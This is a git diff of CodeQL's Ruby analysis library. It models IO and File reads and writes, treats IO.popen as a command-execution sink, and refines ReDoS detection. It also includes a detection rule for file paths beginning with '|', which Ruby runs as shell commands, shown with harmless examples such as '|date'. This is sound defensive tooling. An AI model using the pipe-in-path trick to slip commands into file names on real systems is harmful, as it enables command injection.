+ * Provides modeling for the `IO` module.
+ */
+
+private import codeql.ruby.ApiGraphs
+private import codeql.ruby.Concepts
+private import codeql.ruby.DataFlow
+private import codeql.ruby.controlflow.CfgNodes
+private import codeql.ruby.frameworks.Files as Files
+private import internal.IOOrFile
+
+/** Provides modeling for the `IO` class. */
+module IO {
+  /**
+   * An instance of the `IO` class, for example in
+   *
+   * ```rb
+   * rand = IO.new(IO.sysopen("/dev/random", "r"), "r")
+   * rand_data = rand.read(32)
+   * ```
+   *
+   * there are 3 `IOInstance`s - the call to `IO.new`, the assignment
+   * `rand = ...`, and the read access to `rand` on the second line.
+   */
+  class IOInstance extends DataFlow::Node {
+    IOInstance() { this = [ioInstance(), fileInstance()] }
+  }
+
+  /**
+   * A `DataFlow::CallNode` that reads data using the `IO` class. For example,
+   * the `read` and `readline` calls in:
+   *
+   * ```rb
+   * # invokes the `date` shell command as a subprocess, returning its output as a string
+   * IO.read("|date")
+   *
+   * # reads from the file `foo.txt`, returning its first line as a string
+   * IO.new(IO.sysopen("foo.txt")).readline
+   * ```
+   *
+   * This class includes only reads that use the `IO` class directly, not those
+   * that use a subclass of `IO` such as `File`.
+   */
+  class IOReader = Readers::IOReader;
+
+  /**
+   * A `DataFlow::CallNode` that writes data using the `IO` class. For example,
+   * the `write` and `puts` calls in:
+   *
+   * ```rb
+   * # writes the string `hello world` to the file `foo.txt`
+   * IO.write("foo.txt", "hello world")
+   *
+   * # appends the string `hello again\n` to the file `foo.txt`
+   * IO.new(IO.sysopen("foo.txt", "a")).puts("hello again")
+   * ```
+   *
+   * This class includes only writes that use the `IO` class directly, not those
+   * that use a subclass of `IO` such as `File`.
+   */
+  class IOWriter = Writers::IOWriter;
+
+  /**
+   * A `DataFlow::CallNode` that reads data to the filesystem using the `IO`
+   * or `File` classes. For example, the `IO.read` and `File#readline` calls in:
+   *
+   * ```rb
+   * # reads the file `foo.txt` and returns its contents as a string.
+   * IO.read("foo.txt")
+   *
+   * # reads from the file `foo.txt`, returning its first line as a string
+   * File.new("foo.txt").readline
+   * ```
+   */
+  class FileReader = Readers::FileReader;
+
+  /**
+   * A `DataFlow::CallNode` that reads data from the filesystem using the `IO`
+   * or `File` classes. For example, the `write` and `puts` calls in:
+   *
+   * ```rb
+   * # writes the string `hello world` to the file `foo.txt`
+   * IO.write("foo.txt", "hello world")
+   *
+   * # appends the string `hello again\n` to the file `foo.txt`
+   * File.new("foo.txt", "a").puts("hello again")
+   * ```
+   */
+  class FileWriter = Writers::FileWriter;
+
+  /**
+   * A system command executed via the `IO.popen` method.
+   * Signature:
+   * ```
+   * popen([env,] cmd, mode="r" [, opt]) -> io
+   * popen([env,] cmd, mode="r" [, opt]) {|io| block } -> obj
+   * ```
+   * `IO.popen` does different things based on the the value of `cmd`:
+   * ```
+   * "-"                                      : fork
+   * commandline                              : command line string which is passed to a shell
+   * [env, cmdname, arg1, ..., opts]          : command name and zero or more arguments (no shell)
+   * [env, [cmdname, argv0], arg1, ..., opts] : command name, argv[0] and zero or more arguments (no shell)
+   * (env and opts are optional.)
+   * ```
+   * Examples:
+   * ```ruby
+   * IO.popen("cat foo.txt | tail")
+   * IO.popen({some_env_var: "123"}, "cat foo.txt | tail")
+   * IO.popen(["cat", "foo.txt"])
+   * IO.popen([{some_env_var: "123"}, "cat", "foo.txt"])
+   * IO.popen([["cat", "argv0"], "foo.txt"])
+   * IO.popen([{some_env_var: "123"}, ["cat", "argv0"], "foo.txt"])
+   * ```
+   * Ruby documentation: https://docs.ruby-lang.org/en/3.1/IO.html#method-c-popen
+   */
+  class POpenCall extends SystemCommandExecution::Range, DataFlow::CallNode {
+    POpenCall() { this = API::getTopLevelMember("IO").getAMethodCall("popen") }
+
+    override DataFlow::Node getAnArgument() { this.argument(result, _) }
+
+    override predicate isShellInterpreted(DataFlow::Node arg) { this.argument(arg, true) }
+
+    /**
+     * Holds if `arg` is an argument to this call. `shell` is true if the argument is passed to a subshell.
+     */
+    private predicate argument(DataFlow::Node arg, boolean shell) {
+      exists(ExprCfgNode n | n = arg.asExpr() |
+        // Exclude any hash literal arguments, which are likely to be environment variables or options.
+        not n instanceof ExprNodes::HashLiteralCfgNode and
+        not n instanceof ExprNodes::ArrayLiteralCfgNode and
+        (
+          // IO.popen({var: "a"}, "cmd", {some: :opt})
+          arg = this.getArgument([0, 1]) and
+          // We over-approximate by assuming a subshell if the argument isn't an array or "-".
+          // This increases the sensitivity of the CommandInjection query at the risk of some FPs.
+          if n.getConstantValue().getString() = "-" then shell = false else shell = true
+          or
+          // IO.popen([{var: "b"}, "cmd", "arg1", "arg2", {some: :opt}])
+          // IO.popen({var: "a"}, ["cmd", "arg1", "arg2", {some: :opt}])
+          shell = false and
+          exists(ExprNodes::ArrayLiteralCfgNode arr | this.getArgument([0, 1]).asExpr() = arr |
+            n = arr.getAnArgument()
+            or
+            // IO.popen([{var: "b"}, ["cmd", "argv0"], "arg1", "arg2", {some: :opt}])
+            // IO.popen([["cmd", "argv0"], "arg1", "arg2", {some: :opt}])
+            n = arr.getArgument([0, 1]).(ExprNodes::ArrayLiteralCfgNode).getArgument(0)
+          )
+        )
+      )
+    }
+  }
+}
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/core/String.qll b/ruby/ql/lib/codeql/ruby/frameworks/core/String.qll
index baf95d8c4f4..9d9a77c0851 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/core/String.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/core/String.qll
@@ -415,7 +415,7 @@ module String {
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       input = "Argument[self]" and
-      output = "ReturnValue.Element[" + [0, 1, 2] + "]" and
+      output = "ReturnValue.Element[0,1,2]" and
       preservesValue = false
     }
   }
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/core/internal/IOOrFile.qll b/ruby/ql/lib/codeql/ruby/frameworks/core/internal/IOOrFile.qll
new file mode 100644
index 00000000000..9e25592de1c
--- /dev/null
+++ b/ruby/ql/lib/codeql/ruby/frameworks/core/internal/IOOrFile.qll
@@ -0,0 +1,250 @@
+/**
+ * Provides modeling for concepts shared across `File` and `IO`.
+ */
+
+private import ruby
+private import codeql.ruby.DataFlow
+private import codeql.ruby.ApiGraphs
+private import codeql.ruby.frameworks.Files
+private import codeql.ruby.frameworks.core.Kernel::Kernel
+private import codeql.ruby.Concepts
+
+DataFlow::Node ioInstanceInstantiation() {
+  result = API::getTopLevelMember("IO").getAnInstantiation() or
+  result = API::getTopLevelMember("IO").getAMethodCall(["for_fd", "open", "try_convert"])
+}
+
+DataFlow::Node ioInstance() {
+  result = ioInstanceInstantiation()
+  or
+  exists(DataFlow::Node inst |
+    inst = ioInstance() and
+    inst.(DataFlow::LocalSourceNode).flowsTo(result)
+  )
+}
+
+DataFlow::Node fileInstanceInstantiation() {
+  result = API::getTopLevelMember("File").getAnInstantiation()
+  or
+  result = API::getTopLevelMember("File").getAMethodCall(["open", "try_convert"])
+  or
+  // Calls to `Kernel.open` can yield `File` instances
+  result.(KernelMethodCall).getMethodName() = "open" and
+  // Assume that calls that don't invoke shell commands will instead open
+  // a file.
+  not pathArgSpawnsSubprocess(result.(KernelMethodCall).getArgument(0).asExpr().getExpr())
+}
+
+DataFlow::Node fileInstance() {
+  result = fileInstanceInstantiation()
+  or
+  exists(DataFlow::Node inst |
+    inst = fileInstance() and
+    inst.(DataFlow::LocalSourceNode).flowsTo(result)
+  )
+}
+
+abstract class IOOrFileMethodCall extends DataFlow::CallNode {
+  // TODO: Currently this only handles class method calls.
+  // Can we infer a path argument for instance method calls?
+  // e.g. by tracing back to the instantiation of that instance
+  DataFlow::Node getAPathArgumentImpl() {
+    result = this.getArgument(0) and this.getReceiverKind() = "class"
+  }
+
+  /**
+   * Holds if this call appears to read/write from/to a spawned subprocess,
+   * rather than to/from a file.
+   */
+  predicate spawnsSubprocess() {
+    pathArgSpawnsSubprocess(this.getAPathArgumentImpl().asExpr().getExpr())
+  }
+
+  /** Gets the API used to perform this call, either "IO" or "File" */
+  abstract string getApi();
+
+  /** DEPRECATED: Alias for getApi */
+  deprecated string getAPI() { result = this.getApi() }
+
+  /** Gets a node representing the data read or written by this call */
+  abstract DataFlow::Node getADataNodeImpl();
+
+  /** Gets a string representation of the receiver kind, either "class" or "instance". */
+  abstract string getReceiverKind();
+}
+
+// Match some simple cases where a path argument specifies a shell command to
+// be executed. For example, the `"|date"` argument in `IO.read("|date")`, which
+// will execute a shell command and read its output rather than reading from the
+// filesystem.
+predicate pathArgSpawnsSubprocess(Expr arg) {
+  arg.getConstantValue().getStringlikeValue().charAt(0) = "|"
+}
+
+/**
+ * A method call that performs a read using either the `IO` or `File` classes.
+ */
+class IOOrFileReadMethodCall extends IOOrFileMethodCall {
+  private string api;
+  private string receiverKind;
+
+  IOOrFileReadMethodCall() {
+    exists(string methodName | methodName = this.getMethodName() |
+      // e.g. `{IO,File}.readlines("foo.txt")`
+      receiverKind = "class" and
+      methodName = ["binread", "foreach", "read", "readlines"] and
+      api = ["IO", "File"] and
+      this = API::getTopLevelMember(api).getAMethodCall(methodName)
+      or
+      // e.g. `{IO,File}.new("foo.txt", "r").getc`
+      receiverKind = "interface" and
+      (
+        methodName =
+          [
+            "getbyte", "getc", "gets", "pread", "read", "read_nonblock", "readbyte", "readchar",
+            "readline", "readlines", "readpartial", "sysread"
+          ] and
+        (
+          this.getReceiver() = fileInstance() and api = "File"
+          or
+          this.getReceiver() = ioInstance() and api = "IO"
+        )
+      )
+    )
+  }
+
+  override string getApi() { result = api }
+
+  /** DEPRECATED: Alias for getApi */
+  deprecated override string getAPI() { result = this.getApi() }
+
+  override DataFlow::Node getADataNodeImpl() { result = this }
+
+  override string getReceiverKind() { result = receiverKind }
+}
+
+/**
+ * A method call that performs a write using either the `IO` or `File` classes.
+ */
+class IOOrFileWriteMethodCall extends IOOrFileMethodCall {
+  private string api;
+  private string receiverKind;
+  private DataFlow::Node dataNode;
+
+  IOOrFileWriteMethodCall() {
+    exists(string methodName | methodName = this.getMethodName() |
+      // e.g. `{IO,File}.write("foo.txt", "hello\n")`
+      receiverKind = "class" and
+      api = ["IO", "File"] and
+      this = API::getTopLevelMember(api).getAMethodCall(methodName) and
+      methodName = ["binwrite", "write"] and
+      dataNode = this.getArgument(1)
+      or
+      // e.g. `{IO,File}.new("foo.txt", "a+).puts("hello")`
+      receiverKind = "interface" and
+      (
+        this.getReceiver() = fileInstance() and api = "File"
+        or
+        this.getReceiver() = ioInstance() and api = "IO"
+      ) and
+      (
+        methodName = ["<<", "print", "putc", "puts", "syswrite", "pwrite", "write_nonblock"] and
+        dataNode = this.getArgument(0)
+        or
+        // Any argument to these methods may be written as data
+        methodName = ["printf", "write"] and dataNode = this.getArgument(_)
+      )
+    )
+  }
+
+  override string getApi() { result = api }
+
+  /** DEPRECATED: Alias for getApi */
+  deprecated override string getAPI() { result = this.getApi() }
+
+  override DataFlow::Node getADataNodeImpl() { result = dataNode }
+
+  override string getReceiverKind() { result = receiverKind }
+}
+
+module Readers {
+  /**
+   * A `DataFlow::CallNode` that reads data using the `IO` class. For example,
+   * the `read` and `readline` calls in:
+   *
+   * ```rb
+   * # invokes the `date` shell command as a subprocess, returning its output as a string
+   * IO.read("|date")
+   *
+   * # reads from the file `foo.txt`, returning its first line as a string
+   * IO.new(IO.sysopen("foo.txt")).readline
+   * ```
+   *
+   * This class includes only reads that use the `IO` class directly, not those
+   * that use a subclass of `IO` such as `File`.
+   */
+  class IOReader extends IOOrFileReadMethodCall {
+    IOReader() { this.getApi() = "IO" }
+  }
+
+  /**
+   * A `DataFlow::CallNode` that reads data to the filesystem using the `IO`
+   * or `File` classes. For example, the `IO.read` and `File#readline` calls in:
+   *
+   * ```rb
+   * # reads the file `foo.txt` and returns its contents as a string.
+   * IO.read("foo.txt")
+   *
+   * # reads from the file `foo.txt`, returning its first line as a string
+   * File.new("foo.txt").readline
+   * ```
+   */
+  class FileReader extends IOOrFileReadMethodCall, FileSystemReadAccess::Range {
+    FileReader() { not this.spawnsSubprocess() }
+
+    override DataFlow::Node getADataNode() { result = this.getADataNodeImpl() }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAPathArgumentImpl() }
+  }
+}
+
+module Writers {
+  /**
+   * A `DataFlow::CallNode` that writes data using the `IO` class. For example,
+   * the `write` and `puts` calls in:
+   *
+   * ```rb
+   * # writes the string `hello world` to the file `foo.txt`
+   * IO.write("foo.txt", "hello world")
+   *
+   * # appends the string `hello again\n` to the file `foo.txt`
+   * IO.new(IO.sysopen("foo.txt", "a")).puts("hello again")
+   * ```
+   *
+   * This class includes only writes that use the `IO` class directly, not those
+   * that use a subclass of `IO` such as `File`.
+   */
+  class IOWriter extends IOOrFileWriteMethodCall {
+    IOWriter() { this.getApi() = "IO" }
+  }
+
+  /**
+   * A `DataFlow::CallNode` that reads data from the filesystem using the `IO`
+   * or `File` classes. For example, the `write` and `puts` calls in:
+   *
+   * ```rb
+   * # writes the string `hello world` to the file `foo.txt`
+   * IO.write("foo.txt", "hello world")
+   *
+   * # appends the string `hello again\n` to the file `foo.txt`
+   * File.new("foo.txt", "a").puts("hello again")
+   * ```
+   */
+  class FileWriter extends IOOrFileWriteMethodCall, FileSystemWriteAccess::Range {
+    FileWriter() { not this.spawnsSubprocess() }
+
+    override DataFlow::Node getADataNode() { result = this.getADataNodeImpl() }
+
+    override DataFlow::Node getAPathArgument() { result = this.getAPathArgumentImpl() }
+  }
+}
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModels.qll b/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModels.qll
index 4681c2b91a5..127d9ca5122 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModels.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModels.qll
@@ -59,7 +59,7 @@
  * A `(package,type)` pair may refer to a static type or a synthetic type name used internally in the model.
  * Synthetic type names can be used to reuse intermediate sub-paths, when there are multiple ways to access the same
  * element.
- * See `ModelsAsData.qll` for the langauge-specific interpretation of packages and static type names.
+ * See `ModelsAsData.qll` for the language-specific interpretation of packages and static type names.
  *
  * By convention, if one wants to avoid clashes with static types from the package, the type name
  * should be prefixed with a tilde character (`~`). For example, `(foo, ~Bar)` can be used to indicate that
@@ -396,7 +396,7 @@ predicate isValidTokenNameInIdentifyingAccessPath(string name) {
 }
 
 /**
- * Holds if `name` is a valid name for an access path token with no arguments, occuring
+ * Holds if `name` is a valid name for an access path token with no arguments, occurring
  * in an identifying access path.
  */
 bindingset[name]
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModelsSpecific.qll b/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModelsSpecific.qll
index 3bd595b44b8..e4e9b9cfc44 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModelsSpecific.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/data/internal/ApiGraphModelsSpecific.qll
@@ -4,6 +4,7 @@
  * It must export the following members:
  * ```ql
  * class Unit // a unit type
+ * module AccessPathSyntax // a re-export of the AccessPathSyntax module
  * class InvokeNode // a type representing an invocation connected to the API graph
  * module API // the API graph module
  * predicate isPackageUsed(string package)
@@ -12,6 +13,9 @@
  * API::Node getExtraSuccessorFromInvoke(InvokeNode node, AccessPathToken token)
  * predicate invocationMatchesExtraCallSiteFilter(InvokeNode invoke, AccessPathToken token)
  * InvokeNode getAnInvocationOf(API::Node node)
+ * predicate isExtraValidTokenNameInIdentifyingAccessPath(string name)
+ * predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name)
+ * predicate isExtraValidTokenArgumentInIdentifyingAccessPath(string name, string argument)
  * ```
  */
 
@@ -159,7 +163,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
 }
 
 /**
- * Holds if `name` is a valid name for an access path token with no arguments, occuring
+ * Holds if `name` is a valid name for an access path token with no arguments, occurring
  * in an identifying access path.
  */
 predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
diff --git a/ruby/ql/lib/codeql/ruby/security/BadTagFilterQuery.qll b/ruby/ql/lib/codeql/ruby/security/BadTagFilterQuery.qll
index e22c00ddc47..d935abce37a 100644
--- a/ruby/ql/lib/codeql/ruby/security/BadTagFilterQuery.qll
+++ b/ruby/ql/lib/codeql/ruby/security/BadTagFilterQuery.qll
@@ -28,14 +28,14 @@ private module RegexpMatching {
      * but if `ignorePrefix` is true, it will only match "foo".
      */
     predicate test(string str, boolean ignorePrefix) {
-      none() // maybe overriden in subclasses
+      none() // maybe overridden in subclasses
     }
 
     /**
      * Same as `test(..)`, but where the `fillsCaptureGroup` afterwards tells which capture groups were filled by the given string.
      */
     predicate testWithGroups(string str, boolean ignorePrefix) {
-      none() // maybe overriden in subclasses
+      none() // maybe overridden in subclasses
     }
 
     /**
diff --git a/ruby/ql/lib/codeql/ruby/security/InsecureDownloadCustomizations.qll b/ruby/ql/lib/codeql/ruby/security/InsecureDownloadCustomizations.qll
index dc536e07659..045c34f8917 100644
--- a/ruby/ql/lib/codeql/ruby/security/InsecureDownloadCustomizations.qll
+++ b/ruby/ql/lib/codeql/ruby/security/InsecureDownloadCustomizations.qll
@@ -9,6 +9,7 @@ private import codeql.ruby.DataFlow
 private import codeql.ruby.Concepts
 private import codeql.ruby.typetracking.TypeTracker
 private import codeql.ruby.frameworks.Files
+private import codeql.ruby.frameworks.core.IO
 
 /**
  * Classes and predicates for reasoning about download of sensitive file through insecure connection vulnerabilities.
diff --git a/ruby/ql/lib/codeql/ruby/security/TaintedFormatStringSpecific.qll b/ruby/ql/lib/codeql/ruby/security/TaintedFormatStringSpecific.qll
index e79812bbda8..b30caa7b12e 100644
--- a/ruby/ql/lib/codeql/ruby/security/TaintedFormatStringSpecific.qll
+++ b/ruby/ql/lib/codeql/ruby/security/TaintedFormatStringSpecific.qll
@@ -7,7 +7,8 @@ import codeql.ruby.DataFlow
 import codeql.ruby.dataflow.RemoteFlowSources
 import codeql.ruby.ApiGraphs
 import codeql.ruby.TaintTracking
-private import codeql.ruby.frameworks.Files::IO
+private import codeql.ruby.frameworks.Files
+private import codeql.ruby.frameworks.core.IO
 private import codeql.ruby.controlflow.CfgNodes
 
 /**
@@ -67,5 +68,7 @@ class KernelSprintfCall extends PrintfStyleCall {
  * A call to `IO#printf`.
  */
 class IOPrintfCall extends PrintfStyleCall {
-  IOPrintfCall() { this.getReceiver() instanceof IOInstance and this.getMethodName() = "printf" }
+  IOPrintfCall() {
+    this.getReceiver() instanceof IO::IOInstance and this.getMethodName() = "printf"
+  }
 }
diff --git a/ruby/ql/lib/codeql/ruby/security/internal/CleartextSources.qll b/ruby/ql/lib/codeql/ruby/security/internal/CleartextSources.qll
index 8a3c59d795c..672340fb535 100644
--- a/ruby/ql/lib/codeql/ruby/security/internal/CleartextSources.qll
+++ b/ruby/ql/lib/codeql/ruby/security/internal/CleartextSources.qll
@@ -36,7 +36,7 @@ module CleartextSources {
    * sensitive data with a call to `sub`.
    */
   private predicate effectiveSubRegExp(CfgNodes::ExprNodes::RegExpLiteralCfgNode re) {
-    re.getConstantValue().getStringlikeValue().matches([".*", ".+"])
+    re.getConstantValue().getStringlikeValue() = [".*", ".+"]
   }
 
   /**
@@ -44,7 +44,7 @@ module CleartextSources {
    * sensitive data with a call to `gsub`.
    */
   private predicate effectiveGsubRegExp(CfgNodes::ExprNodes::RegExpLiteralCfgNode re) {
-    re.getConstantValue().getStringlikeValue().matches(".")
+    re.getConstantValue().getStringlikeValue() = "."
   }
 
   /**
diff --git a/ruby/ql/lib/codeql/ruby/security/performance/ExponentialBackTracking.qll b/ruby/ql/lib/codeql/ruby/security/performance/ExponentialBackTracking.qll
index 5e0fe18ea00..99b4062dfdc 100644
--- a/ruby/ql/lib/codeql/ruby/security/performance/ExponentialBackTracking.qll
+++ b/ruby/ql/lib/codeql/ruby/security/performance/ExponentialBackTracking.qll
@@ -51,7 +51,7 @@
  *     either a single character, a set of characters represented by a
  *     character class, or the set of all characters.
  *   * The product automaton is constructed lazily, starting with pair states
- *     `(q, q)` where `q` is a fork, and proceding along an over-approximate
+ *     `(q, q)` where `q` is a fork, and proceeding along an over-approximate
  *     step relation.
  *   * The over-approximate step relation allows transitions along pairs of
  *     abstract input symbols where the symbols have overlap in the characters they accept.
diff --git a/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtil.qll b/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtil.qll
index 6f695b5035b..8aa348bf62f 100644
--- a/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtil.qll
+++ b/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtil.qll
@@ -610,16 +610,23 @@ State after(RegExpTerm t) {
   or
   exists(RegExpGroup grp | t = grp.getAChild() | result = after(grp))
   or
-  exists(EffectivelyStar star | t = star.getAChild() | result = before(star))
+  exists(EffectivelyStar star | t = star.getAChild() |
+    not isPossessive(star) and
+    result = before(star)
+  )
   or
   exists(EffectivelyPlus plus | t = plus.getAChild() |
-    result = before(plus) or
+    not isPossessive(plus) and
+    result = before(plus)
+    or
     result = after(plus)
   )
   or
   exists(EffectivelyQuestion opt | t = opt.getAChild() | result = after(opt))
   or
-  exists(RegExpRoot root | t = root | result = AcceptAnySuffix(root))
+  exists(RegExpRoot root | t = root |
+    if matchesAnySuffix(root) then result = AcceptAnySuffix(root) else result = Accept(root)
+  )
 }
 
 /**
@@ -690,7 +697,7 @@ predicate delta(State q1, EdgeLabel lbl, State q2) {
     lbl = Epsilon() and q2 = Accept(root)
   )
   or
-  exists(RegExpRoot root | q1 = Match(root, 0) | lbl = Any() and q2 = q1)
+  exists(RegExpRoot root | q1 = Match(root, 0) | matchesAnyPrefix(root) and lbl = Any() and q2 = q1)
   or
   exists(RegExpDollar dollar | q1 = before(dollar) |
     lbl = Epsilon() and q2 = Accept(getRoot(dollar))
diff --git a/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtilSpecific.qll b/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtilSpecific.qll
index de125f4a9db..8d6b14607e0 100644
--- a/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtilSpecific.qll
+++ b/ruby/ql/lib/codeql/ruby/security/performance/ReDoSUtilSpecific.qll
@@ -33,6 +33,24 @@ predicate isExcluded(RegExpParent parent) {
   parent.(RegExpTerm).getRegExp().(AST::RegExpLiteral).hasFreeSpacingFlag() // exclude free-spacing mode regexes
 }
 
+/**
+ * Holds if `term` is a possessive quantifier.
+ * Not currently implemented, but is used by the shared library.
+ */
+predicate isPossessive(RegExpQuantifier term) { none() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any leading prefix of the input it's matched against.
+ * Not yet implemented for Ruby.
+ */
+predicate matchesAnyPrefix(RegExpTerm term) { any() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any trailing suffix of the input it's matched against.
+ * Not yet implemented for Ruby.
+ */
+predicate matchesAnySuffix(RegExpTerm term) { any() }
+
 /**
  * A module containing predicates for determining which flags a regular expression have.
  */
diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml
index 13703800ccc..037c4dddc63 100644
--- a/ruby/ql/lib/qlpack.yml
+++ b/ruby/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/ruby-all
-version: 0.1.1-dev
+version: 0.2.2-dev
 groups: ruby
 extractor: ruby
 dbscheme: ruby.dbscheme
diff --git a/ruby/ql/lib/ruby.dbscheme b/ruby/ql/lib/ruby.dbscheme
index 9fdd1d40fd3..1199e154f5e 100644
--- a/ruby/ql/lib/ruby.dbscheme
+++ b/ruby/ql/lib/ruby.dbscheme
@@ -52,6 +52,8 @@ case @diagnostic.severity of
 
 @ruby_underscore_arg = @ruby_assignment | @ruby_binary | @ruby_conditional | @ruby_operator_assignment | @ruby_range | @ruby_unary | @ruby_underscore_primary
 
+@ruby_underscore_call_operator = @ruby_reserved_word
+
 @ruby_underscore_expression = @ruby_assignment | @ruby_binary | @ruby_break | @ruby_call | @ruby_next | @ruby_operator_assignment | @ruby_return | @ruby_unary | @ruby_underscore_arg | @ruby_yield
 
 @ruby_underscore_lhs = @ruby_call | @ruby_element_reference | @ruby_scope_resolution | @ruby_token_false | @ruby_token_nil | @ruby_token_true | @ruby_underscore_variable
@@ -66,13 +68,13 @@ case @diagnostic.severity of
 
 @ruby_underscore_pattern_expr_basic = @ruby_array_pattern | @ruby_expression_reference_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_parenthesized_pattern | @ruby_range | @ruby_token_identifier | @ruby_underscore_pattern_constant | @ruby_underscore_pattern_primitive | @ruby_variable_reference_pattern
 
-@ruby_underscore_pattern_primitive = @ruby_delimited_symbol | @ruby_lambda | @ruby_regex | @ruby_string__ | @ruby_string_array | @ruby_symbol_array | @ruby_token_encoding | @ruby_token_false | @ruby_token_file | @ruby_token_line | @ruby_token_nil | @ruby_token_self | @ruby_token_simple_symbol | @ruby_token_true | @ruby_unary | @ruby_underscore_simple_numeric
+@ruby_underscore_pattern_primitive = @ruby_delimited_symbol | @ruby_lambda | @ruby_regex | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_encoding | @ruby_token_false | @ruby_token_file | @ruby_token_heredoc_beginning | @ruby_token_line | @ruby_token_nil | @ruby_token_self | @ruby_token_simple_symbol | @ruby_token_true | @ruby_unary | @ruby_underscore_simple_numeric
 
 @ruby_underscore_pattern_top_expr_body = @ruby_array_pattern | @ruby_find_pattern | @ruby_hash_pattern | @ruby_underscore_pattern_expr
 
-@ruby_underscore_primary = @ruby_array | @ruby_begin | @ruby_break | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_delimited_symbol | @ruby_for | @ruby_hash | @ruby_if | @ruby_lambda | @ruby_method | @ruby_module | @ruby_next | @ruby_parenthesized_statements | @ruby_redo | @ruby_regex | @ruby_retry | @ruby_return | @ruby_singleton_class | @ruby_singleton_method | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_character | @ruby_token_heredoc_beginning | @ruby_token_simple_symbol | @ruby_unary | @ruby_underscore_lhs | @ruby_underscore_simple_numeric | @ruby_unless | @ruby_until | @ruby_while | @ruby_yield
+@ruby_underscore_primary = @ruby_array | @ruby_begin | @ruby_break | @ruby_call | @ruby_case__ | @ruby_case_match | @ruby_chained_string | @ruby_class | @ruby_delimited_symbol | @ruby_for | @ruby_hash | @ruby_if | @ruby_lambda | @ruby_method | @ruby_module | @ruby_next | @ruby_parenthesized_statements | @ruby_redo | @ruby_regex | @ruby_retry | @ruby_return | @ruby_singleton_class | @ruby_singleton_method | @ruby_string__ | @ruby_string_array | @ruby_subshell | @ruby_symbol_array | @ruby_token_character | @ruby_token_heredoc_beginning | @ruby_token_simple_symbol | @ruby_unary | @ruby_underscore_lhs | @ruby_underscore_simple_numeric | @ruby_unless | @ruby_until | @ruby_while | @ruby_yield
 
-@ruby_underscore_simple_numeric = @ruby_rational | @ruby_token_complex | @ruby_token_float | @ruby_token_integer
+@ruby_underscore_simple_numeric = @ruby_complex | @ruby_rational | @ruby_token_float | @ruby_token_integer
 
 @ruby_underscore_statement = @ruby_alias | @ruby_begin_block | @ruby_end_block | @ruby_if_modifier | @ruby_rescue_modifier | @ruby_undef | @ruby_underscore_expression | @ruby_unless_modifier | @ruby_until_modifier | @ruby_while_modifier
 
@@ -147,7 +149,7 @@ ruby_as_pattern_def(
 
 @ruby_assignment_left_type = @ruby_left_assignment_list | @ruby_underscore_lhs
 
-@ruby_assignment_right_type = @ruby_right_assignment_list | @ruby_splat_argument | @ruby_underscore_expression
+@ruby_assignment_right_type = @ruby_rescue_modifier | @ruby_right_assignment_list | @ruby_splat_argument | @ruby_underscore_expression
 
 ruby_assignment_def(
   unique int id: @ruby_assignment,
@@ -207,6 +209,8 @@ ruby_begin_block_def(
   unique int id: @ruby_begin_block
 );
 
+@ruby_binary_left_type = @ruby_underscore_expression | @ruby_underscore_simple_numeric
+
 case @ruby_binary.operator of
   0 = @ruby_binary_bangequal
 | 1 = @ruby_binary_bangtilde
@@ -238,7 +242,7 @@ case @ruby_binary.operator of
 
 ruby_binary_def(
   unique int id: @ruby_binary,
-  int left: @ruby_underscore_expression ref,
+  int left: @ruby_binary_left_type ref,
   int operator: int ref,
   int right: @ruby_underscore_expression ref
 );
@@ -279,6 +283,13 @@ ruby_block_parameter_def(
   unique int id: @ruby_block_parameter
 );
 
+#keyset[ruby_block_parameters, index]
+ruby_block_parameters_locals(
+  int ruby_block_parameters: @ruby_block_parameters ref,
+  int index: int ref,
+  unique int locals: @ruby_token_identifier ref
+);
+
 @ruby_block_parameters_child_type = @ruby_block_parameter | @ruby_destructured_parameter | @ruby_hash_splat_parameter | @ruby_keyword_parameter | @ruby_optional_parameter | @ruby_splat_parameter | @ruby_token_forward_parameter | @ruby_token_hash_splat_nil | @ruby_token_identifier
 
 #keyset[ruby_block_parameters, index]
@@ -313,18 +324,25 @@ ruby_call_block(
   unique int block: @ruby_call_block_type ref
 );
 
-@ruby_call_method_type = @ruby_argument_list | @ruby_scope_resolution | @ruby_token_operator | @ruby_underscore_variable
+@ruby_call_method_type = @ruby_token_operator | @ruby_underscore_variable
 
-@ruby_call_receiver_type = @ruby_call | @ruby_underscore_primary
+ruby_call_method(
+  unique int ruby_call: @ruby_call ref,
+  unique int method: @ruby_call_method_type ref
+);
+
+ruby_call_operator(
+  unique int ruby_call: @ruby_call ref,
+  unique int operator: @ruby_underscore_call_operator ref
+);
 
